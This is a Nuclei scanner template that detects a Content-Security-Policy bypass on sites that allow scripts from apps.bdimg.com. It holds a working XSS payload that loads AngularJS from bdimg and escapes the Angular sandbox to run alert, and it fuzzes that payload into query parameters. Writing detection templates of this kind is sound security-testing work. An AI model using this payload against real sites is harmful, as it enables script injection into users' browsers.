id: bdimg-apps-csp-bypass
info:
name: Content-Security-Policy Bypass - BDImg Apps
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,bdimg-apps,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "bdimg.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: bdimg_apps_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="https://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "bdimg_apps_csp_xss == true"
# digest: 490a0046304402204bc1a5d76a800c3343590c9b218eabc4179a9a75aed7aca1ff3ff60cdd9198ca02207d8e79d891b58f0fcc20430600932f7a7cf432960e821e14586690fd74bc0554:922c64590222798bb761d5b6d8e72950